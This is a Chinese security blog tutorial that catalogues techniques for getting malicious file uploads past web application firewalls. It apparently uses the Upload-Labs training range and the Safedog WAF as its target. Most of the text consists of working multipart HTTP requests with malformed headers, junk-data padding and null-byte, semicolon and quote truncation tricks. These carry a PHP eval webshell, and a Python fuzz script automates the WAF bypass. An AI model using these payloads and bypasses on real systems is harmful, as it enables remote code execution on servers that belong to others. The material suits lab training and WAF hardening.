干货 | 最全的文件上传漏洞之WAF拦截绕过总结
HTTP文件上传数据包解析文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。 一个正常的文件上传数据包大致如下:
- POST http://www.example.com HTTP/1.1
- Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK
- ------WebKitFormBoundaryyb1zYhTI38xpQxBK
- Content-Disposition: form-data; name="city_id"
- 1
- ------WebKitFormBoundaryyb1zYhTI38xpQxBK
- Content-Disposition: form-data; name="company_id"
- 2
- ------WebKitFormBoundaryyb1zYhTI38xpQxBK
- Content-Disposition: form-data; name="file"; filename="chrome.png"
- Content-Type: image/png
- PNG ... content of chrome.png ...
- ------WebKitFormBoundaryyb1zYhTI38xpQxBK--
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从中获取特征为: •请求Header中Content-Type存在以下特征:•multipart/form-data:表示该请求是一个文件上传请求•存在boundary字符串:作用为分隔符,以区分POST数据•POST的内容存在以下特征:•Content-Disposition:响应标头是指示内容是否预期在浏览器中内联显示的标题。•name:包含该字段的内容引用的 HTML 字段的名称。•filename:后面是一个包含传输文件的原始名称的字符串。•POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary•最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传) 文件上传在数据包中可修改的地方•Content-Disposition:一般可更改•name:表单参数值,不能更改•filename:文件名,可以更改•Content-Type:文件 MIME,视情况更改•boundary:内容划分,可以更改 WAF如何拦截恶意文件可以先自己想象一下,如果让你来写WAF,你会从哪几个角度去防御。 •文件名•解析文件名,判断是否在黑名单内。•文件内容•解析文件内容,判断是否为webshell。•文件目录权限•该功能需要主机WAF实现。 目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。 大致步骤如下: 1.获取Request Header里的Content-Type值中获取boundary值2.根据第一步的boundary值,解析POST数据,获取文件名3.判断文件名是否在拦截黑名单内/白名单外
- 了解了WAF如何对恶意文件进行拦截之后,我将常见的绕过方法分为如下几类,最后再使用目前最新版的安全狗进行绕过演示。
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字符变异引号变换头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。
- Content-Disposition: "form-data"; name=file_x; filename="xx.php"
- Content-Disposition: form-data; name=file_x; filename="xx.php"
- Content-Disposition: form-data; name=file_x; filename=xx.php
- Content-Disposition: form-data; name="file_x"; filename=xx.php
- Content-Disposition: form-data; name='file_x'; filename='xx.php'
- Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
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可以去除掉filename字符串中末尾的引号,也能够正常上传
- Content-Disposition: form-data; name="file_x"; filename="xx.php
- Content-Disposition: form-data; name="file_x"; filename='xx.php
- Content-Disposition: form-data; name="file_x"; filename="xx.php;
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大小写变换对这三个固定的字符串进行大小写转换 •Content-Disposition•name•filename 比如name转换成Name,Content-Disposition转换成content-disposition。 添加换行符字段值与等号之间可以加入换行符,依然可以正常上传,下面我使用[0x09]代替换行符
- Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
- Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
- Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
- Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
- Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
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多个分号文件解析时,可能因为分号解析不到文件名,导致绕过。
- Content-Disposition: form-data; name="file_x";;; filename="test.php"
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多个等号在POST的内容中使用多个等号对文件上传也没有影响。
- Content-Disposition: form-data; name=="file_x"; filename===="test.php"
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变换Content-Disposition的值某些WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。其实Content-Disposition可以任意变换或为空。
- Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
- Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
- Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
- Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
- Content-Disposition: name="file_x"; filename="xx.php"
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畸形的boundary头部boundary可以变化为如下形式,且不影响上传: 正常的boundary:
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
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畸形的boundary: •multipart/form-data大小写可变:
- Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
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•multipart/form-data与boundary之间可以使用空格分隔,且中间可以插入任何值:
- Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
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•multipart/form-data与boundary之间可以使用逗号分隔,且中间可以插入任何值:
- Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
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•boundary之前可以直接加入任何值(PHP可行):
- Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
- Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
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•boundary末尾可以使用逗号或分号隔开插入任何值
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
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顺序颠倒交换name和filename的顺序因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序。 有的WAF可能会匹配name在前面,filename在后面,可以导致绕过。
- Content-Disposition: form-data; filename="xx.php"; name="file_x"
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交换Content-Disposition和Content-Type的顺序与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。
- Content-Type: image/png
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
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交换不同boundary内容的顺序不同boundary内容也能够交换,且不影响文件上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['x']);?>
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
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数据重复boundary内容重复最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass。
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
- Content-Type: image/png
- <?php @eval($_POST['hack']); ?>
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['hack']); ?>
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
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下面这样也是可以正常上传的
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['hack']); ?>
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
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filename重复最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。 - Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
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数据溢出name与filename之间插入垃圾数据name与filename之间插入大量垃圾数据。
- POST /Pass-02/index.php HTTP/1.1
- Host: hackrock.com:813
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Connection: close
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
- filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['x']);?>
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
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注:需在大量垃圾数据后加“;” boundary字符串中加入垃圾数据boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。 - POST /Pass-01/index.php HTTP/1.1
- Host: hackrock.com:813
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
- Connection: close
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
- Content-Disposition: form-data; name="upload_file";filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['x']);?>
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
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boundray末尾插入垃圾数据刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据。 - POST /Pass-01/index.php HTTP/1.1
- Host: hackrock.com:813
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
- Connection: close
- Content-Length: 592
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['x']);?>
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
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multipart/form-data与boundary之间插入垃圾数据刚才讲到过multipart/form-data与boundary之间可以插入任何数据,那么就可以在multipart/form-data与boundary之间加入大量垃圾数据。 - POST /Pass-01/index.php HTTP/1.1
- Host: hackrock.com:813
- Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Connection: close
- Content-Length: 319
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['x']);?>
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf
- Content-Disposition: form-data; name="submit"
- 上传
- ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
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数据截断回车换行截断POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。
- Content-Disposition: for
- m-data; name="upload_
- file"; fi
- le
- name="sh
- ell.p
- h
- p"
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分号截断若WAF匹配文件名到分号截止,则可以绕过。
- Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
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引号截断php<5.3 单双引号截断特性。
- Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
- Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
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00截断在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]代替16进制的00字符
- Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
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实战-绕过安全狗文件上传实验环境 靶场:Upload-Labs(Pass-1) 数据库:MySQL 5.5 Web脚本:PHP 5.4.19 WAF:网站安全狗(Apache版)v4.0.3025
- 在测试时,网站安全狗仅开启上传防护,否则会因为误报删除靶场文件。
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image-20220122153541822实战一 - 编写Fuzz脚本利用数据溢出绕过由于boundary字符串中可以加入大量垃圾数据,这里就编写了一个Fuzz脚本进行测试能否绕过: - #! /usr/bin/env python
- # _*_ coding:utf-8 _*_
- import requests
- import random
- url="http://hackrock.com:813/Pass-01/index.php"
- def generate_random_str(randomlength=16):
- random_str = ''
- base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
- length = len(base_str) - 1
- for i in range(randomlength):
- random_str += base_str[random.randint(0, length)]
- return random_str
- for i in range(10,8000,50):
- stri = generate_random_str(i)
- try:
- headers = {
- "Host":"hackrock.com:813",
- "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
- "Referer":"http://hackrock.com:813/Pass-01/index.php",
- "Content-Type":"multipart/form-data; boundary=----" + stri
- }
- payload = """
- ------""" + stri +"""
- Content-Disposition: form-data; name="upload_file"; filename="shell.php"
- Content-Type: image/png
- <?php @eval($_POST['hack']); ?>
- ------""" + stri + """
- Content-Disposition: form-data; name="submit"
- 上传
- ------""" + stri + """--
- """
- response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
- result = response.content
- print result
- print stri
- print "\n"
- #print payload
- #print headers
- if result.count('上传'):
- print "Length is : %s " % str(i)
- break
- except:
- print "."
复制代码
这里使用的是python2.7进行编写,运行时确保装有python2的环境以及python库。 最后测出的结果如下,长度为3710个字符:
image-20220122154848589虽然并没有帮我们上传上去,但是可以成功绕过安全狗拦截。 我们将构造好的数据包放进Burp试试:
image-20220122155843047成功绕过。 实战二 - 利用00截断绕过上传文件,使用Burp抓包,将filename的值改为:shell.php;.jpg
image-20220122160953684然后打开hex,(分号的16进制为0x3b)修改16进制内容,把3b改成00:
image-20220122161153160发送数据。
image-20220122161340032成功绕过。
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